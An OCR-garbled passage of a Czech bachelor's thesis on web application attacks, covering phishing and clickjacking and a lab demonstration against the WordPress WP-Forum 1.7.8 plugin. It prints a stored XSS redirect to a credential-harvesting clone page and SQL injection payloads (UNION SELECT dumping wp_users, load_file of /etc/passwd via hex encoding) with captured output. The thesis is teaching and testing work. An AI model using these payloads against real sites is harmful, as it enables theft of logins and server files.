implicitné zakdzana. Tento typ utokuigglstavuje vazné bezpestni riziko pro kazdého

uzivatele vyuzivajici webovy prohlize

* plugin — véeském pekladu se jedna o daglk mozny dohréat do aplikace
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Falesna stranka je prihledna
a kopiruje vstupni pole

a tlacitka zobrazovaneé
stranky.

’ CommuniGats

Falesna vstupni pole a
tlacitka jsou pienesena
do sknytého formulare
v popredi pomoci
iFrame

Uzivatel poskytne uzivatelské jméno a
heslo. Vsechny vstupni pole a tlaéitka
jsou vykradena skrytym formularem.

Obréazek 3 - Princip Gtoku clickjacking, zdroj: [20]

3.2.6 Phishing
Phishing je druh internetového podvodu, jehoz cilemvylakat z uZivatele citlivé
informace jako nap c¢islo tu, heslo,éislo karty a podobné citlivé polozkyriFphishingu je

uzivatel manipulovan k tomu, aby své data zadgdauvrzenou stranku. [21]

e Podvodné e-maily
Jak poznat, Ze e-mail ktery dorazil do schrankysablje IZzivé informace a je
nebezpény? Existujefada piznaki, které jsou velmi podéelé, a pi jejich spateni je nutné

zvysSit pozornost:

* hypertextové odkazy vedou na Gpimou adresu, nez je specifikovano v textu e-
mailu

* je pritomna spustitelnérpoha nebo na ni vede odkaz

e je vyzadovano okamzité &eni citlivych Gdaji, jinak bude ®co omezeno,

zruSeno, nevydano, ...
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* neaekavany jazyk zpravy nagiklad ¢esky bankovni institut nebude zasilat

vyzvy v ¢estire a podobry

Dale je nutné si wdomit, Ze odesilatel uvedeny v hlése e-mailu nemusi byt nutn
autorem zpravy! Elektronicky podpistie poskytnout vysSi miru jistoty. Pokud nema u&lat
jistotu, Ze se nejedna o podvrzeny pozadavek v ikymiak pravost zpravy si tiZe oW&fit
telefonicky u odesilatele zpravy. Sarmgjmosti je dohledani telefonniho kontaktu z ciziho
zdroje nap. s webovych stranek samotné firmy, od které bydiesmerovan.

Redlny piklad podvodného mailuipdstavuje obrazek 4. Prviést mailu je opsana
z webovych stranekeské spiitelny. Druhacast je upravena taikem vyzivajiciho k fphlaseni
na webové stranky'eské spiitelny. Pokud se ale mysitgjede nad odkaz ve spodédsti
stavovéhoradku emailového okna, je zobrazen sknfepodvrzeny odkaz nesouvisejici se

strankamiCeské sptitelny.

+ zobrazena adresa

http://www.csas.cz/banka/appmanager/portal/banka

» podvrZzeny odkaz

http://host81-149-81-234.in-addr.btopenworld.com/ww w.servis24.cz/index.htm
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& 5PAM: Yarovn pred novou verz podvodnch e-mailu - Thunderbird

Soubor  Upravy Zobrazit  Pieit  ZprAva MNastroje  Mapovdda

ELwl g B oo s Je .o
Prijmaut MNapsat  Adresar’ | Odpovédét Odp, vSem Preposlat | Stfek Smazat NewyZadans Tisk, Znet \pfed

i-@l Thunderbird si mysli, Ze tato zprava je podvodny e-mail. Meni podwodny e-mail |

= Predmét: SPAM; Yarovn pred novol
By e S
0d:3 ol

i

Dakum: 6:31

erz podvodnch e-mailu

(Vazen lchents, &

rach bychom Vas upozornili na novou verz podvodneho e-mailu (tzv. phishingu). Nova verze e-mailu ma jako ty predesle vebudit dojem, ze byla
odeslana z e-mailove adresy Ceske spontelny, tentolerat vsak z oficialn e-mailove adresy barky ceas@csas.cz. Obsahwe odkaz v tele na udajne
LWel:)n:uve stranky mternetoveho bankovnictw banky a umvatel je wyzvan k priblasens, tedy zadam osobnich bankovmich udap.

. o . — T Opsany text ze stranek
rProsun, verfikujte tute emalovou adresu kiknutim na spojen nize: psany

hittpedfwrarw coas. cotbankalappmanaser/portalfhanka

| Verfikovaci spojent je platne do 24 hodin Dopinény podvodny text

V

|_( hittp: {{hosta1-149-51-234. in-addr btopenwarld, com v, servis24.c2 findes. htm ]

L |

R

Obréazek 4 - FaleSny email, zdroj: [22]
* FaleSné www stranky
Pt prochazeni sétinternet je mozné, Ze se uzivatel dostane nalgtrdaeré se tvi jako
duavérné zname, ale ve skuteosti jde pouze o zdidou kopii. Zpravidla se naidostanete i@s

podsteeny odkaz v emailu. Jak poznat, Ze se uzivatelamata Spatné strance?
* Adresa stranky (URL®bsahuje ip adresu:
http://147.228.1.1/falesna_ebanka.html
* Adresa stranky&akym zpisobem paroduje original, nap

http://www.paypal.com
misto

http://www.paypal.com(tj. jednicka misto pismene el)

https://heslo-zcu.cz
misto

https://heslo.zcu.cZheslo-zcu je Upkjina doména nez zcu)
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» Je vyzadovano zadani citlivych Udlapa nezabezgené strance (HTTP misto
HTTPS)

» Stranka je zabezpena nedvéryhodnym certifikatem.

V zadném pipadt nelze spoléhat na vzhled stranky, protoZe okopirtze vSe vetns
raiznych animacii jazykovych mutaci! Jedin&emu Ize ve #Si mie divérovat, je oéieni
komunikujiciho pratjSku certifikaty.

Technické provedeni tohoto Utoku je sl&@it z pohledu obstarani podobné domény
z divodu nasazeni stejrvyhliZzejici webové aplikace, ktera ma byt komprmwvéna. DalSim
piedpokladem je znalost programovaciho jazyka prooighi klamného prostdi k Gtoku.

Podobny typ utoku jsent@dved! v kapitole 4.2 Aplikace utoku XSS.

4  Utoky na webové aplikace v praxi

Pro demonstraci utoku jsem pouzil webovou aplikgpu redakni systém s nazvem
WordPresd Hlavni Glohou redainich systém je publikace textu. Kro#njiného existuje mnoho
plugind typu fotogalerie, video ighravaée, diskuzni fora a jiné, které je mozno dohrat do
aplikace ¢imz se stane vSestratjii. Webova aplikace WordPress miéhto plugini kolem 540.

Konkrétni utok typu SQL injection jsem aplikovalagé na zmigny plugin diskuzniho
féra s ndzvem WP-Foruhwe verzi 1.7.8. Pro tuto verzi pluginu byla dneGli22009 zviejnéna
zranitelnost typu SQL injection. [23]

Po uspsné aplikaci atoku SQL injection jsem hl@jikiestoval, co aplikace WordPress a
plugin WP-Forum umi. Poé&kolika pokusech o vloZeni zpravy do fora jsem oibjehalSi
zranitelnost u pluginu WP-Forum. Jednalo se o mhnost typu XSS, ktera dosud nebyla
publikovana. Podstatou této zranitelnosti byla nosinviozeni JS kédu do textového pole
formul&e pro odeslani zpravy. Toto pole nebylo t&®b proti takovému typu utoku. Po
obnoveni stranky se vloZeny kod provedl.

Je dilezité také zminit, Ze na oficialnich strdnkach @WRressu je mozno stahnout
samotnou aplikaci WordPress dktery z plugini v sekci plugins. Rekvapuijici je na tom to, Ze
dany plugin diskuzniho fora WP-forum je veden jalajaktualgjsi ke stahnuti ve verzi 1.7.8.
Tedy ten u kterého byla zkgnéna zranitelnost.

® http://wordpress.org/
® http://www.fahlstad.se/
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V ¢asti pro stahnuti pluginu je i odkaz na strankyjefirce. Pokud se klikne na odkaz,
je vidét, Ze nejaktudlgjsSi verzi k datu 01.07.2009 je verze 2.3. U tétwegsou odstramy
zranitelnosti vyskytujici se ur@dchozich verzi. Je proto prapddobné, Ze uzivatelé si mohou

omylem stdhnout verzi 1.7.8 a tim vystavit riziko gvoji webovou aplikaci.

Nasledujici kapitoly 4.2 a 4.3 stné popisuji kroky k provedeni aték Prostedi,
ve kterém jsem testoval danou aplikaci, popisufstkéa 4.1.

4.1 Testovaci prostedi

Detailni rozpracovani instalace webové aplikace dRogess, pluginu WP-Forum a jejich
konfigurace je popsano v textovém tutorialu, kiergouwasti této bakatdké prace. Tutoriél je

uloZzen na filozeném CD. Je vém popsan krok po kroku jakignstalaci postupovat.

Oba utoky jsou provedené na stejné verzi diskuzrgra. VyuZil jsem moZnosti
virtualizace a vytviil dva nezavislé p@itace s nainstalovanym opeérdm systémem Linux.
Prvni s oznéenim Host A Server, na kteréng¢Ziela webova aplikace WordPress, a druhy
s ozngenim Host_B_Client, ze kterého @tk provadl oba utoky.

Virtualizace se mimo jiné osucila i pfi vytvareni video tutorial, jelikoz oba poitace
byly na jedné ploSe a nebylo tedy nutné shdalSi HW k realizaci praktick&sti.

V tabulce 3 jsou popsany produkty a jejich verzerébyly pouzity v pibéhu testovani.
Na obou poitacich byly pouzity stejné verze s rozdilem, zZe najisttost B _Client nebyl pouzit
WordPress a WP-Forum.

Tabulka 3 — Seznam software pouZzity i testovani, zdroj: Autor

Produkt Datu(rl:] {gg?rr;:(;/erze Popis
Ubuntu 9.04 04/2009 Openai systém
PHP 5.2.6-3 05/2008 Programovaci jazyk
Apache Server 2.2.11 05/2009 Web server
MySQL 5.0.75-0 12/2008 Databaze
WordPress 2.1 10/2008 Redak systém
WP-Forum plugin 1.7.8 07/2008 Diskuzni férum
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4.2 Aplikace utoku XSS

Detailni rozpracovani utoku XSS na webovou aplik&orrdPress je popsano v textovem
tutorialu, ktery je sotasti této bakat&ké prace. Tutorial je uloZen n&lgzeném CD. Je védm
popsan krok po kroku jakriputoku postupovat. V nasledujicich kapitolach mupe souhrn
nejdilezitéjSich bod Gtoku.

Obsah tutorialu, aplikace utoku XSS, jsenidal do @ilohy 2 na zagr této bakaléské

prace.

4.2.1 Predpoklady

»  P¥i tomto Gtoku neni nutno bytiplaSen jako uzivatel aplikace WordPress.

« Utoénik najde na internetu plugin diskuzniho féra WRdRD ve verzi 1.7.8.
Vyhledani této verze je mozné zadanim nasleduji¢dtzce do vyhledavae
google:

" powered by WordPress  “ 1.7.8

Vyznam tohoto zapisu do vyhledavaciho pole je miigiei. Hledej na strankach
celyrettzec ,powered by WordPress" a zartvdedej vyskytrettzce 1.7.8.

* Po vstoupeni na vyhledanou strankucafl zjisti nazev diskuzniho fora. Tento
néazev aplikuje na své upravené strance pro vgnio&tsi divéryhodnosti obsahu.

*  Okopiruje vzhled phlasSovaci stranky aplikace WordPress.

* Na jiném peitCi vytvoii vzhledo¥ stejnou podobuifhlaSovaci stranky, nicmén
jeji zdrojovy kod bude upraveny tak, aby byla seteopykradat uzivatelska jména
a hesla. Skodliva stranka se po uloZeni dat ddbdaeazpt presneruje na server
skut&ného diskuzniho féra.

» |P adresa serveru, na kteréstbaplikace WordPress, je 192.168.8.136.

* |P adresa utmikova p@itace je 192.168.8.137.

4.2.2 Utok

Cilem uat@nika je vylakat od uzivateélwebové aplikace WordPress jejich uzivatelska
jména a hesla. Tohoto cile dosahne néasledujicirsabgem. Uténik bude reagovat na libovolny
piispivek diskuzniho féra v aplikaci WordPress. Ale miskoit&né reakce naifspivek, vlozi
do zadavaciho pole zpravy Skodlivy kod.
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Pokud uzivatel vstoupi do infikovaného tématu diskho fora, bude fesnérovan na
stranky uténika. Zde se mu objevi hlaSka gepuseni spojeni a nutnosti znovu zadat uZivatelské
jméno a heslo. Jestlize si uzivatel nevSimne oéldomény, zada uzivatelské jméno a heslo a je
piesnérovan na server se strankami diskuzniho fora. Pad@inu uzivatele, uttnik ziska

vytouZena data.

Utognik si po zjiséni moznosti aplikovat Gtok typu XSSiipravi prostedi, na které bude

presnerovana stranka. Utmik provede nasledujiétyii kroky k Gsgsnému provedeni Gtoku.

* Prvnim krokem je upravit skriptp-login.php (totoZny nazev se skriptem na serveru).
Na tento skript bude Skodlivy kédigsnerovavat. Tento skript pouze kopiruje vzhled

piihlaSovaci stranky na serveru a zatopidava podstatnou hlaSku odgouseni spojeni:

Spojeni bylo p feruSeno. P fihlaste se prosim znovu!

Tento text odvadi pozornost od skirté funkénosti Skodlivé stranky.

e Druhym krokem je vytvit skript wp_modified.php. Na tento skript ukazupe, stl&eni
tlacitka prihlasit se (login), skript wp-login.php. Ukolem wpodified je uloZit viozena
data do databaze &ggsnerovat stranky z§t na diskuzni forum.

» Tretim krokem je vytviit databazi, kam se uloZi ziskan& data.

» Posledninttvrtym krokem je vloZzit do zpravy diskuzniho férastedujici Skodlivy kod:

</script>

window.location= “http://192.168.8.137/wordpress-2.1/wp-login.php :

</script>

Jednd se o kod JavaScriptu. Jedind funkce tohottu k6, po vstupu uZivatele na

infikované téma diskuzniho féraigsnerovani na aténikovu stranku.

Jakmile uzivatel vstoupi na nakazené téma diskazfdra, je pesn€rovan na stranku

Utoenika znézoréno obrazkem 5.
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est Blog * Login - Mozilla Firefosx —— - i -|I'_‘I|_>
bor Upravy Zobrazit Historie Zélofky Nastroje  Nipovids ™
? - O XX o | Ll |http:mgz.158.3.13?;worca:ress-2.uwp-lugm.php T - |§E}- Google E
Seznam ju Centrum.cz - Provers.. | Lista zaloschap | Chyba piinachanistr..

| Cheete, aby si Spravee hessl zapamatoval Zeni? Zapamatovat | Nikdy protentoserver | mynine | 5

IP adresa 192.168.8.137 je adresa stranek utoénika

Dialogove okno
o preruient
spojeni a
nutnosti zadat
heslo zmovu

.- Eemember me

Obréazek 5 - Fresn®rovani na Utoénikovy stranky, zdroj: Autor

V tuto chvili, pokud uZivatel odklikne dialogovémka zada svoje Udaje, jgepnErovan zgt na
server diskuzniho fora. Uinik timto z@isobem ziskal uZivatelovo heslo a jméniesp tak jak

zobrazuje obrazek 6. Jedn& se o vypis z tahattkgk _tab , kde jsou data uloZena.

File Edit View Terminal Help

bp@bp-desktop:/$ mysql -u root -p |
Database changed He i

Mysql> select * from attack tab; Vipis tabulky attack_tab
A fommmmm e . + Uzivatel poker se polkusil

| user | pass | created | | €= piihlasit 03/08/2009 a

e e mm e $omaean R + heslo je .aaaa”™

| poker | asaa | 2009-08-03 01:08:26 |

e e decmaan femememeeiiaiaaacanaa. +

1 row 1n set (8.80 sec)

mysql=

Obrazek 6 - Vypis z tabulky attack tab, zdroj: Autor
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4.2.3 Zhodnoceni utoku

Kapitola 4.2 vyuZiva dvou typutoku. Prvnim typem je moZnost viloZeni Skodlivého
kodu do zadavaciho pole pro odesilani zprav. Tgmaitoku je nazyvan Cross Site Scripting
neboli XSS. Druhym typem utoku je phishing. KlamarZivatele nastane v situaci, kdy je
na strance proifhlaseni zobrazena hlaSka éepsSeni spojeni a nutnosti zadat znovu heslo.

Nasledr je zobrazena podvrZzend stranka.

Tento giklad Utoku nazorh ukazuje, jak mald nepozornost&taro nechiné gedani
svych fihlasovacich Gdajatasnikovi. Usgich tohoto Gtoku nelze zafitiovdem vzdy. Pokud by
se pesnerovani stalo spravci aplikaci, jistoy mu bylo divné, jak se aplikace zachovala.
K odhaleni faleSné stranky si &t@ovsimnout jiné domeény v URL.

Programétti by proto neli dukladns testovat svoje aplikacergd nasazenim do ostrého
provozu. Je také dobré jiZippsani aplikace myslet na mozné hrozby, kterékapiihrozi a
prizptisobit tomu programovani. Pbradz pokud se totoége, az pokud je aplikace hotova, je
mozné skryté nebo vikené struktury fehlédnout a vystavit aplikaci nebezpe

Obtiznost tohoto Gtoku je zavisla na programovasidiopnostech (taika. Bylo zde

vyuZzito programovacich jazykHTML, JavaScript, PHP a SQL.

4.3 Aplikace utoku SQL injection

Detailni rozpracovani utoku SQL injection na wehowaplikaci WordPress je popsano
v textovém tutorialu, ktery je soasti této bakalgké prace. Tutorial je uloZzen nélpZzeném

CD. Je vim popsan krok po kroku jakiiputoku postupovat. V nésledujicich kapitolach je

Mriviw s

4.3.1 Predpoklady

»  P¥i tomto Gtoku neni nutno bytiplaSen jako uzivatel aplikace WordPress.
» Je nutna znalost adréegé struktury aplikace WordPress a pluginu WP-Forum
Utoenik si nejprve na svém pivaci vyzkousi danou aplikaci. Jizbem instalace

zZjisti, Ze pluginy jsou nahravany do adtesa

(adresa # WordPressu)/wp-content/plugins
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Dle instal&nich pokyri je nutné pojmenovat adrédarawp-forum a nakopirovat
ho do adred@ s pluginy. Dale po testovani zranitelnosti zjisti chyba se nachazi

ve skriptu forum_feed.php a konrétg pti chybném zavolani parametru
?thread=

Cela cestav URL je:

http://doména/(adresa  WordPressu)/wp-content/plugins/forum_feed.php?thre ad=

e Je nutno znat pet sloupd v tabulce, ktera se objevi ve vystupni chybové&dda
po nespravéizadaném URL

» DalSim gedpokladem je znalost cile uUtoku, tim je tabulka users a atributy
user_login,user_pass,user_email

* Poslednim pedpokladem je, Ze uZivatel databadzového schématpzj @et
pouziva aplikace WordPress, médpleno pravo FILE. Dvodem udleni tohoto
prava niize byt moznost migrace databaze pod timto uzZivatelss. z testovaciho

prostedi na produsni.

4.3.2 Utok

Cilem at@nika je napadnout plugin WP-Forum webové aplikacerdRress. Utinik
chce ziskat data s uzivatelskymi jmény a heshbalky wp_users. Dale se pokusi o ziskani
libovolnych dat ze souboru na disku.

Utoénik nasel webovou stranku na adrese:

http://192.168.136/wordpress-2.1/page_id=4

Cesta k problematické strance jegem znama, a tak je tedy nutné pouze upravit #R1i,se

rovnou [Feslo ke strance, kde je mozné aplikovat Gtok:

http://192.168.136/wordpress-2.1/wp-content/plugins [forum_feed.php?thread=

Po zadani upravené URL se zobrazi chyba i s vyp&@indotazu tak, jak zobrazuje obrazek 7.
Chyba nastane, pokud se nezada hodnota za pardmestd= na konci URL. Nyni Gténik

zna dotaz, ktery dEe upravit k ziskani dat, které mu nemaji y$toipné.
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yiew hep ‘KK\‘N\\H
<Ixnl version="1.8" encoding="UTF-8"7> Upraveng URL
<rss version='2.8's
<channels
<title=Test Blog - Forum - Feed</tifle>
edescriptionaTest Blog - Feed</descriptions
<link=http://192.168.8.136/wordpress-2. 1/ forum feed. phpe/link>
<language=en-us</language>

<p class="wpdberror ' =<strong=HordPress database error:</strong> [You have an error in your SOL syntaj:
<codexSELECT * FROM wp_forum posts WHERE thread id = ORDER BY “date’ DESC </code</po
</div=> </channel>

- =y

Chyba aplikace, zobrazi SOL dotaz

Obrazek 7 - Vystup po znéné URL, zdroj: Autor

Aby ziskal data z tabulky uZivatelwp_users, je nutné zjistit, kolik ma tabulka

wp_forum_posts  sloupdi. To Ize provést Upravou URL d@iganim klauzule:

ORDER BY n --

kde n je n-ty sloupec v tabulogp_forum_posts a pomtky zakomentuji zbytek dotazu.
Systémem pokus omyl pak hodnotu n zvySuje, dokurhstane chyba. Poté co nastane chyba,

tabulka méa n-1 sloujic Takto vypada upravené URL:

....7thread=1+order+by+1+--

Znameénko + reprezentuje mezeru v SQL dotazu. Chgistane az tisla 8. Tabulka ma tedy 7
sloupdi. Nyni miZze ut@nik pouzit dotaz pro ziskani hodnot z tabulky.
Nyni zméni v URL dotaz tak, aby doSlo k vypsani poZadovanjodnot z tabulky

Wp_Users :

....... ?thread=1+union+all+select+null,concat(user_ login,0x3b,user_pass,0x3b,

user_email),null,null,null,null,null+from+wp_user+- -

Tim, Ze aténik zn& poet sloupd, miaze nahradit ORDER BY za klauzuli UNION ALL, kte® |
schopna fidat dalSi pikaz SELECT pod podminkou, Ze ded sloupé a datové typy v prvni
SELECTu odpovidaji struktea druhého SELECTu. Hodnotou NULL se dnik vyhne
chybnému zadani datového typu.c@osloupd s hodnotou NULL odpovida sedmi, tedy je
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shodny s pé&tem sloupé tabulky, kterou aténik ziskal z chybové hlasky v obrazku 8. Aby
atocnik mohl vypsat atributy tabulky na obrazovku, raatirjeden sloupec NULL funkci
CONCAT(). Funkce CONCAT()ietezi vice sloupté do jednoho. Tento zapis:

...select+null,concat(user_login,0x3b,user_pass,0x3 b,user_email),...

zarwi, Ze bude na vystup vypsan uzivatelské jméno,ohaslemail oddeny stednikem.
Strednik ,; “ je v Sestnactkové soustareprezentovan hodnot@b. Ox se musi fidat, aby byl

dotaz spravézpracovan. Vystup je zobrazen na obrazku 8.

-1J.I-
Fie Edit view Miglory Beokmarks Tols Melp

el ¥ a ’E‘ | (@ | +urionsall+selact+null concatiuser_logm, tulb user pass On3buser emaill rull,rull mull ool null+from-+wp_lsers+ w G Lo

B Most Visited~  eGeetting Sarted [FjLatest Headiines~ \
h:ﬂ cubscribe to this feed using 7 Live Bookmarks Upravene URL
Always use Live Bookmarks to subscribe (o feeds.

Subscribe Now

Test Blog - Forum - Feed

Test Blog - Feed>
|Eg[u|:|:|5 ]

admin; 74b87337454 100d4d 23/80c 466 3dc Se S est @test, com

L <— Vypis dat 1 tabulky wp_users
|Forums >> >>

atom;65bat4 1e01d6dbTT 33600050 706480, amE post.cz
Forums > >
poker; TAb8TA3 7454200044 33 B0C 466 3d Se5; phidemall com

Obréazek 8 - Vystup z tabulky wp_users, zdroj: Autor

Utognikovi nemusi siit vypis z tabulky uzivatél, miZze se pokusit ziskat data z disku.
Pokusi se nahradit funkci CONCAT() za LOAD_FILEQejprve si zjisti, o jaky opetai
systém se jedna pomoci funkce VERSION():

...select+null,version(),null,...

Vystup z obrazku 9 naztiaje, Ze se jedna o linux konkrétdistribuci UBUNTU. Ut@nik se
pokusi ziskat obsah soubofretc/hosts , ktery obsahuje seznam uzivdtel oper&nim

systému linux.
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Test Blog - Forum - Feed

Test Blog - Feed=

Forums >> >> Operacni system

—

5.0.75-0ubuntul0 |

Obrazek 9 - Vystup verze OS, zdroj: Autor

Provedena Uprava pro ziskani dat ze souboru jedg#ti:

...select+null,load_file('/etc/passwd’),null,...

Tento giklad nebude usgny, jelikoz dotaz obsahuje uvozovky, které jsdafgrmatovany
na znaky HTML kodu. To zpusobuje nastaveni paramett On v konfiguraci webového
serveru u polozkymagic_quotes gpc . Jedna se o defaultni nastaveni konfigurace server

Obrazek 10 ukazuje nastaveni serveru Apache.

magic_quotes gpc On On

Obrazek 10 - Nastaveni web serveru Apache, zdroj: Wtor

Z tohoto divodu ut@nik obejde funkci magic_quotes_gpc prevedenim retézce

letc/hosts do Sestnackového tvaru. Upraveny select URL bygadat nasledown

...select+null,load_file(0x2F6574632F706173737764), null,...

Tato formulace usfné obesSla omezenhagic_quotes gpc  a data jsou vypsana na vystup

piesré jako na obrazku 11. Je nutno se podivat do zdébjokodu stranky, kde jsou data skryta.
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| daemnon:x: 1] dsemon: fosr Mo /Binsh
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et AN X N el - AT P e - fBER Sh
backup:x: M: M:backep: fvar/backups: /bin/sh
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nobody 1 x 165514 65504 - nobedy : fronsxistent L fhin/sh
Tibuuid:x: 108: 181: :/var/Lib/Libagid: fbin/sh
syslog:x: 101-182: : Mhome/vyslog: /bin/fal se
klog:x:182: 1821 /hose ikl og: /Ban/ False
hplip:x: 18%:T-HPLIF syitem oser, ., fvar/runghplip: foend false
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Obrazek 11 - Vypis dat z disku, zdroj: Autor

4.3.3 Zhodnoceni utoku

Pokud aplikace neni spravnSetena, niiZze se stat tento typ utoku velmi nebeaypen. |
kdyz jsou hesla v tabulce uloZena jako hgettzec, jak je vidt z obrazku 9V takové podob
jsou dana hesla nepouzitelna. Nictadry bylo mozg, pomoci generatoru vygenerovat si sadu
hesel, pesrEji jejich hashretézce, ktery by se pak porovnavaly se ziskanym hasgblikace. Je
pravdou, Ze prolamovani hesel na takovéto bezvymaaplikaci by nejspiSe néto smysl. Ale
ukazuje to piklad toho, Ze data je mozné ziskat a pracovains dale. Aplikace WordPress
uklada hesla hashem MD5, cozZ je na druhou stragapal minimalni ochrana, nez mit hesla
uloZena v otetené podob.

Déale ut@nik ziskal emaily, ty mohou slouZit praréiii spamu, hodxnebo mohou byt
pouziti pro jiny typ Gtoku.

" Hoax — jedné se jeighi poplasnych, nebezpgch a zbytenychietzovych zprav.
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Co se tge zneuziti funkceload file pro ¢teni souboru z disku, tak databazovy
uzivatel, jehoz &et vyuzivd webova aplikace, byciig nentl mit globalni pravoFILE pro
moznostéteni dat z disku. Pokud je u databaze nutn&iklad replikace databazi,do by se
toto pravo udlit jinému uzivateli, pes kterého by se takovéto operaékalil

Stupe obtiznosti tohoto Utoku je zavisly pouze na znalcs databazového jazyka SQL.
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5 Zavér

Rostouci oblibenost webu jako piestku zabavy, komunikace obchodu naznalje, ze
bezpénost webovych aplikaci bud&asto diskutovanym tématem. Dnes jiz nejsou Utoky
provadny pro slavu¢i zabavu, ale trendem se stava komercionalizacesniti ¢i skupiny
ato¢nika provadji napadeni webovych aplikaci pro fikan prosgch plynouci z prodeje
ziskanych citlivych ad#éjnacerném trhu.

Cast prace popisuje Sest nejzrfch typi Gtoki. U kazdého typu Gtoku byl popsén
zpisob aplikace, jaké rizikoipdstavuje a jakou metodu obrany Ize zvolit. Detgdozornost
byla wnovana déma velmi nebezgmym Gtokim a to Cross Site Scripting a SQL injection.
Oba utoky byly aplikovany na zranitelnosti v exjgtu aplikaci diskuzniho fora WP-Forum.
Diskuzni férum je fidavny modul do aplikace redakho systému WordPress.

Tuto aplikaci jsem si zvolil, jelikoz gdtkem tohoto roku byla vydana zprava o
zranitelnosti typu SQL injection na konkrétni verdiskuzniho fora 1.7.8. Diky ziskanym
znalostem o postupeclii pitocich na webové aplikac&hem tvorby této prace, jsem se pokusil
otestovat aplikaci red@kiho systému na dalSi zranitelnosti. Shodou okdirjsem naSel dalSi
zranitelnost typu XSS (Cross Site Scriptingltop diskuzniho féra, kterd dosud nebyla nikde
publikovana.

Soutasti této prace je také CD obsahujici softwaretariflly demonstrujici atoky na
webovou aplikaci WordPress, uvedené v kapitole ddnd se o it tematicky ¢lenéné
videotutoridly. Prvni popisuje instalaci testovacgitostedi, druhy ukazuje utok SQL injection a
tieti Utok XSS. Délka kazdého videotutorialu fesahuje 10 minut, proto by mohli mit upkath
na cvienich pro studenty tykajicich se beapasti webovych aplikaci. Ke kazdému tutorialu je
také gridan postup ve forgnpdf dokumentu.

Cilem této prace byloipdstavit metody Utakna webové aplikace a popsat mozna rizika
plynouci z échto Gtoki. Popsana problematika byéla objasnit programatdm webovych
aplikaci mozné hrozby plynouci z nedostatho zabezpgeni aplikace. Naopak uZivaleh by
méla tato prace ukazat bezpestni rizika spojena s uzivanim webovych aplik@dé mého
nazoru problematika bezpsti webovych aplikaci je a bude nedilnoucsati kazdodenniho
piistupu do s¥ta internetu.
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7/  Seznam pojmi a zkratek

ActiveX

ASP.NET

Cookie

CSRF

CSS

Cvv2

DoS

DDoS

je jednou z technologii, jez umagi vkladat do internetovych stranek malé

progradmky. Tato mozZnost z&v& rozSiuje schopnosti webovych stranek.

je soubor webovych technologii, kterétipdd rodiny .NET framework. SlouZi

pro tvorbu webovych aplikaci.

Cookies &nre¢ slouzi k rozliSovani jednotlivych uZzivatel Webovy server je

odesle prohliz&, ktery je uloZi na pé&itaci uzvatele.
(Cross-Site Request Forgery) jedna z metud ita webové aplikace.
(Cascading Style Sheets) jazyk pro popisapu zobrazeni webovych stranek.

(Card Verification Value 2) je jednim z bezpestnich prvk, ktery se u
platebnich karet pouziva, jedna s&imeboctyi ¢iselnou hodnotu na zadni stéan
platebni karty. Pouziva se u plateb na internetu.

(Denial of Service) je typ utoku, ktery ma pifigtupnit p@itacovy systém nebo

sit’ pro jeho uzivatele.

(Distributed Denial of Service) podobpgincip jako DoS, ale pro atok jsou
zneu?Zity desitky az tisice infiltrovanychd@cu.

E-commerce Elektronickd komerce dnes zahrnuje negdwipovani a prodej na internetu, ale

Flash

Hash

HTML

HTTP

nagiklad také elektronické online platby, e-marketatgktronické vyminy dat,...
Graficky vektorovy program od firmy Adobe.

Hash je jednocestna funkce pouzivana pro finrenaci vstupnihoietzce

libovolné délky na vystuprietzec pevné delky.
(HyperText Markup Language) jedna se o jazyl fvorbu webovych stranek.

(Hypertext Transfer Protokol) protbk&terym webové prohlide a webové

servery komunikuiji.
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HTTPS

JavaScript

[
MD5
MySQL
PHP

SQL

URL

WWW

XSS

(HyperText Transfer Protocol Secure) je Sdrmu variantou internetového
protokolu HTTP pro fenos webovych stranek.

je programovaci jazyk, ktery se pou¥iwdternetovych strankach. Vykonava se

na stras klienta.

(Internet Information Services ) webovy server.
(Message-Digest algorithm 5 ) haSovaci algargm
Databazovy systém.

(Hypertext Preprocessor ) skriptovaci prograanbjazyk.

(Structured Query Language ) dotazovaci jazgkiZzfvany pro praci s daty
v relanich databazich.

(Unique Resource Locator) igob jak jednozran¢ zapsat umighi souboru

na internetu nebo na intranetu.
(World Wide Web) je ozrigni pro aplikace internetového protokolu HTTP.

(Cross Site Scripting ) metoda naruSeni WW\énstk vyuZzitim bezpmostnich
chyb ve skriptech.
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8

Prilohy

Priloha 1: Obsah CD

cD

AdresafHost_A_Server

Souborwordpress-2.1.zip

Balik pro instalaci na strané serveru.

AdresafHost_B_Client

Souborattacker.zip

Balik pro instalaci na strané atoénika.

Dokument Tutoriall_Instalace.pdf

Wideo Tutoriall_Instalace.avi

Dokument Tutorial2_SQL _Injection.pdf

WVideo Tutorial2_SQL_Injection.avi

Dokument Tutorial3_XSS.pdf

Wideo Tutorial3_XS5.avi

Postup instalace prostredi

Multimedialniukazkainstalace

Postup aplikace dtoku SQL injection

rultimedialniukazka dtoku SOL injection

Postup aplikace utoku XS5

Multimedialniukazka atoku XS5

Obrazek 12 - Obsah CD, zdroj: Autor
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Priloha 2: Tutorial 3, aplikace utoku XSS

1. Uvod

Tento tutorial ukazuje jednotlivé kroky k dosazeaitbku XSS (Cross Site

Scripting). K demonstraci Gtoku jsou pouzity dveehti a jeden server:

e Server ma ozrigni Host_A_Server a reprezentuje webovy server,j&dainstalovana
aplikace WordPress.

* Prvni klient je ozn&en jako Host_B_Client. Tento klient reprezentujecatka. Na jeho
potitat bude pesngrovana okt utoku, kde se ji zobrazitiplaSovaci stranka. Tato
stranka je vzhledayv totozna se strankou na serveru Host A Server. &dard
uzivatelského jména a hesla budou tato data ulodenda@nikovy databéaze. Po uloZeni
do databaze dojde KgsnErovani zg@gt na diskuzni férum na serveru Host_A_Server.

* Druhy klient je oznén jako ao_machine. Tento klient bude reprezentmlast’.
Po p@ihlaSeni do WordPressu bude chtitispupit do diskuzniho féra, ale bude

presnérovan na poita¢ utacnika.
Pouzity software:

* Na serveru Host_A_Server je nasledujici software:

Tabulka 1 - Seznam software pouzity pi testovani pro Host_A_Server

Produkt Datu(rrr:] {gg?rr;:(;/erze Popis
Ubuntu 9.04 04/2009 Openai systém
PHP 5.2.6-3 05/2008 Programovaci jazyk
Apache Server 2.2.11 05/2009 Web server
MySQL 5.0.75-0 12/2008 Databaze
WordPress 2.1 10/2008 Redak systém
WP-Forum plugin 1.7.8 07/2008 Diskuzni férum

* Na klientu Host_B_Client je nasledujici software :
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Tabulka 2 - Seznam software pouzity i testovani pro Host_B_Client

Produkt Datum yy,danl verze Popis
(mésic/rok)
Ubuntu 9.04 04/2009 Opeéfai systém
